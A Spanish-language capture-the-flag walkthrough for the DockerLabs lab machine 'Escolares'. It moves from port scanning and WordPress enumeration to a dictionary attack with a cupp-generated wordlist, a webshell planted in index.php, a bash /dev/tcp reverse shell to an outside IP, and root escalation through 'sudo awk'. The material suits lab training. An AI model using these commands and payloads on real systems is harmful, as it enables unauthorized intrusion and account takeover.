Máquina: Escolares
SO: Linux
Nivel: Facil
DockerLabs


1. Descubrimos los puertos disponibles del host, hay dos servicios corriendo, ssh y servicio web de apache.

sudo nmap -p- --open -T5 --min-rate=5000 -sCV -n -Pn 172.17.0.2

img

2. Tenemos una pagina pero sin mas, no encontramos nada interesante por el momento.

http://172.17.0.2

img

3. Hacemos fuzzing y vemos que tenemos un wordpress

gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,js -q

img

4. Vamos al wordpress, viendo su codigo fuente podemos ver que llama recursos de un dominio interno.

http://172.17.0.2/wordpress/

img

5. Agregamos el dominio al etc/hosts para que nos resuelva y podamos trabajar correctamente con este dominio.

nano /etc/hosts

172.17.0.2 escolares.dl

escolares.dl/wordpress/

img img

6. Podemos hacer un poco de fuzzing, encontramos el panel login del administrador

gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt,js -q

img

7. Escaneamos usuarios y plugins vulnerables; nos encuentra el usuario luisillo.

wpscan --url http://escolares.dl/wordpress -e vp,u

img

8. En este punto vamos a revisar la seccion de profesores en la web, ahi tenemos a luis y que ademas es administrador.

http://escolares.dl/profesores.html

img

9. Con informacion a la mano del usuario procedemos a generar un diccionario con los datos.

sudo apt install cupp

cupp -i

img

10. Toca realizar el ataque de diccionario hacia el usuario luisillo; y rapidamente nos pilla la contraseña.

wpscan --url http://escolares.dl/wordpress -U luisillo -P ./luis.txt

img

11. Ingresamos al panel administrativo de wordpress, una vez dentro editamos el archivo index.php.

http://escolares.dl/wordpress/admin

img img

12. Como vemos ya tenemos una webshell, ahora toca ponernos en escucha con nc y obtener una reverse shell.

http://escolares.dl/wordpress/?cmd=id

nc -nlvp 4000

http://escolares.dl/wordpress/?cmd=bash -c "bash -i>%26 /dev/tcp/192.168.18.8/4000 0>%261"

img img

13. Vamos al directorio home, y encontramos la contraseña de luisillo, migramos a ese usuario.

cat /home/secret.txt

su luisillo

img

14. Revisamos los permisos sudo del usuario, tenemos un binario con todos los permisos.

sudo -l

img

15. Nos ayudamos con gtfobins para el uso del binario y escalar a root.

sudo awk 'BEGIN {system("/bin/bash")}'

img


Finalizado.